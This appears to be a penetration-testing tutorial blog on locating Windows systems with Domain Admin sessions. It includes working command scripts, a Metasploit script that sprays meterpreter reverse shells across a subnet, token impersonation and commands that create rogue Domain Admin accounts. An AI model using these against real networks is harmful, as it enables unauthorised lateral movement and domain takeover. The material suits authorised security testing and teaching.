5 Ways to Find Systems Running Domain Admin Processes

Introduction

Migrating to Domain Admin processes is a common way penetration testers are able to impersonate Domain Admin accounts on the network. However, before a pentester can do that, they need to know what systems those processes are running on. In this blog I'll cover 5 techniques to help you do that. The techniques that will be covered include:

1. Checking Locally
2. Querying Domain Controllers for Active Domain User Sessions
3. Scanning Remote Systems for Running Tasks
4. Scanning Remote Systems for NetBIOS Information
5. PSExec Shell Spraying Remote Systems for Auth Tokens

Obtaining Domain Admin Privileges

For the most part, this blog will focus on identifying systems that are running Domain Admin processes. However, for the sake of context, I've outlined the standard process many penetration testers use to obtain Domain Admin privileges.

1. Identify target systems and applications
2. Identify potential vulnerabilities
3. Exploit vulnerabilities to obtain initial access
4. Escalate privileges on the compromised system
5. Locate Domain Admin processes/authentication tokens locally or on Remote Systems
6. Authenticate to a remote system running Domain Admin Processes by passing the local Administrator's password hash, cracking passwords, or dumping passwords with a tool like mimikatz
7. Migrate to a Domain Admin Process
8. Create a Domain Admin

The process as a whole is well known in the penetration testing community, and you should be able to find plenty of blogs, white papers, and video tutorials via Google if you're interested in more details. Moving forward, I will only be focusing on options for number 5.

Finding Domain Admin Processes

Ok, enough of my ramblings. As promised, below are 5 techniques for finding Domain Admin processes on the network.

Technique 1: Checking Locally

Always check the initially compromised system first. There's really no point is running around the network looking for Domain Admin processes if you already have one. Below is a simple way to check if any Domain Admin processes are running using native commands:

1. Run the following command to get a list of domain admins:

   net group "Domain Admins" /domain

2. Run the following command to list processes and process owners. The account running the process should be in the 7th column.

   Tasklist /v

3. Cross reference the task list with the Domain Admin list to see if you have a winner.

It would be nice if Domain Admin processes were always available on the system initially compromised, but sometimes that is not the case. So the next four techniques will help you find Domain Admin process on remote domain systems.

Technique 2: Querying Domain Controllers for Active Domain User Sessions

To my knowledge this technique is a NetSPI original. We wanted a way to identify active Domain Admin processes and logins without having to spray shells all over the network or do any scanning that would set off IDS. Eventually it occurred to us to simply query the domain controllers for a list of active domain user sessions and cross reference it with the Domain Admin list. The only catch is you have to query all of the domain controllers. Below I've provided the basic steps to get list of systems with active Domain Admin sessions as a domain user:

1. Gather a list of Domain Controllers from the "Domain Controllers" OU using LDAP queries or net commands. I've provided a net command example below.

   net group "Domain Controllers" /domain

   Important Note: The OU is the best source of truth for a list of domain controllers, but keep in mind that you should really go through the process of enumerating trusted domains and targeting those domain controllers as well.

   Alternatively, you can look them up via DNS.

   Nslookup –type=SRV _ldap._tcp.

2. Gather a list of Domain Admins from the "Domain Admins" group using LDAP queries or net commands. I've provided a net command example below.

   net group "Domain Admins" /domain

3. Gather a list of all of the active domain sessions by querying each of the domain controllers using Netsess.exe. Netsess is a great tool from Joe Richards that wraps around the native Windows function "netsessionenum". It will return the IP Address of the active session, the domain account, the session start time, and the idle time. Below is a command example.

```
Netsess.exe –h
```

4. Cross reference the Domain Admin list with the active session list to determine which IP addresses have active domain tokens on them. In more secure environments you may have to wait for a Domain Admin or Service account with Domain Admin privileges to take actions on the network. What that really means I you'll have to run through the process multiple time, or script it out. Below is a very quick and dirty Windows command line script that uses netsess. Keep in mind that dcs.txt has a list of domain controllers and admins.txt has a list of Domain Admins.

   ```
   FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt &&
   FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
   ```

I wrote a basic batch script named Get Domain Admins (GDA) which can be download that automates the whole process. The dependencies are listed in the readme file. I would like to give a shout out to Mark Beard and Ivan Dasilva for helping me out on it. I've also created a batch file called Get Domain Users (GDU) for Windows Dictionary attacks which has similar options, but more dependencies. If you interested it can be downloaded by clicking the link above.

Technique 3: Scanning Remote Systems for Running Tasks

I typically have success with the first two options. However, I came across this method in a pauldotcom blog by LaNMSteR53 and I thought it was a clever alternative. Once you are running as the shared local administrator account on a domain system you can run the script below to scan systems for Domain Admin Tasks. Similar to the last technique you will need to enumerate the Domain Admins first. In the script below ips.txt contains a list of the target systems and the names.txt contains a list of the Domain Admins.

```
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt
&&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a
process on %i && pause
```

The original post is: Crawling for Domain Admin with Tasklist if you're interested.

Technique 4: Scanning Remote Systems for NetBIOS Information

Some Windows systems still allow users to query for logged in users via the NetBIOS queries. The information can be queried using the native nbtstat tool. The user name is indicated by "<03>" in the nbtstat results.

1. Below is another quick and dirty Windows command line script that will scan remote systems for active Domain Admins sessions. Note: The script can be ran as a non-domain user.

   ```
   for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR
   /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found
   logged into %i
   ```

2. You can also use the nbtscan tool which runs a little faster. It can be downloaded here. Another basic script example is below.

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

Technique 5: PSExec Shell Spraying Remote Systems for Auth Tokens

Psexec "Shell spraying" is the act of using the Psexec module in Metasploit to install shells (typically meterpreter) on hundreds of systems using shared local administrative credentials. Many pentesters use this method in concert with other Metasploit functionality to identify Domain Admin tokens. This is my least favorite technique, but since a large portion of the pentest community is actively using it I feel that I needed to include it. I like getting shells as much as the next guy, but kicking off 500 hundred of them in a production environment could cause availability issues that clients will be really unhappy with. To be fair, having 500 shells does mean you can scrape data faster, but I still think it creates more risk than value. Regardless, below is the process I have seen a lot of people using:

1. Install Metasploit 3.5 or greater.
2. Copy paste script below to a text file and save into the Metasploit directory as psexec_spray.rc. I originally found this script on Jabra's blog.

   #Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z

   #Setup Credentials use windows/smb/psexec set SMBUser set SMBPass

   #Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules (using multi handler) set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff – range walker #note: could also accept ip addresses from a file by replacing rhosts ="192.168.74.0/24" with rhosts = File.readlines("c:systems.txt") require 'rex/socket/range_walker' rhosts = "192.168.1.0/24" iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost| #self allows for execution of commands in msfconsole   self.run_single("set RHOST #{rhost}")   #-j-z send the session to the background   self.run_single("exploit -j -z") end

3. Update the smbuser and smbpass parameters.
4. Issue the following command to run the script. The psexec_spray.rc script will attempt to blindly install meterpreter shells on every system in the 192.168.1.0/24 network using the provided credentials.

   msfconsole –r psexec_spray.rc

5. You can then use the Metasploit module token_hunter to identify Domain Admin tokens on each of the shelled systems. I've outlined the steps below.
   1. Create a file containing a list of the Domain Admins like so: COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
   2. Load the token_hunter module in the msfconsole msf> load token_hunter
   3. Run token hunter to list the sessions containing Domain Admin tokens. msf> token_hunt_user -f /tmp/domain-admin.txt

6. Alternatively, you can use the following command to get a list of currently logged in users from each of the shelled system and manually look for Domain Admins.

   ```
   Sessions –s loggedin
   ```

What Now?

If you already have a meterpreter session you can use Incognito to impersonate the Domain Admin, or add a new one. Incognito can attempt to add a new Domain Admin blindly by iterating through all of the available authencation tokens on the system. Below are the basic commands to do that in meterpreter.

1. Load Incognito in your active meterpreter session with the following command:

   ```
   load incongnito
   ```

2. Attempt to add a Domain Admin with the authentication tokens on the system:

   ```
   add_user   -h
   add_group “”Domain Admins””  -h
   ```

If you’re interested in creating a new Domain Admin using another option you can use the instructions below:

1. In the meterpreter console, type the following command to view processes:

   ```
   ps
   ```

2. In the meterpreter console, find a domain admin session and migrate to using the following command:

   ```
   migrate
   ```

3. In the meterpreter console, type the following command get a OS shell:

   ```
   shell
   ```

4. Type the following native Windows command to add a new Domain Admin:

   ```
   net user   /add /domain
   net group “Domain Admins” /add  /domain
   ```

Wrap Up

As you can see there are quite a few options for identifying Domain Admin processes and authentication tokens. I recommend using the low impact options to help prevent availability issues and unhappy clients. I’m sure as time goes on people will come up with better ideas, but until then remember to have fun and hack responsibly.

References

- http://technet.microsoft.com/en-us/library/cc940106.aspx
- http://technet.microsoft.com/en-us/library/cc961857.aspx
- http://spl0it.wordpress.com/
- http://pauldotcom.com/2011/09/crawling-for-domain-admin-with.html
- https://raw.github.com/nullbind/Other-Projects/master/GDA/GDA.bat
- https://github.com/nullbind/Other-Projects/tree/master/GDU
- http://www.room362.com/blog/2011/9/17/who-is-logged-in-a-quick-way-to-pick-your-targets.html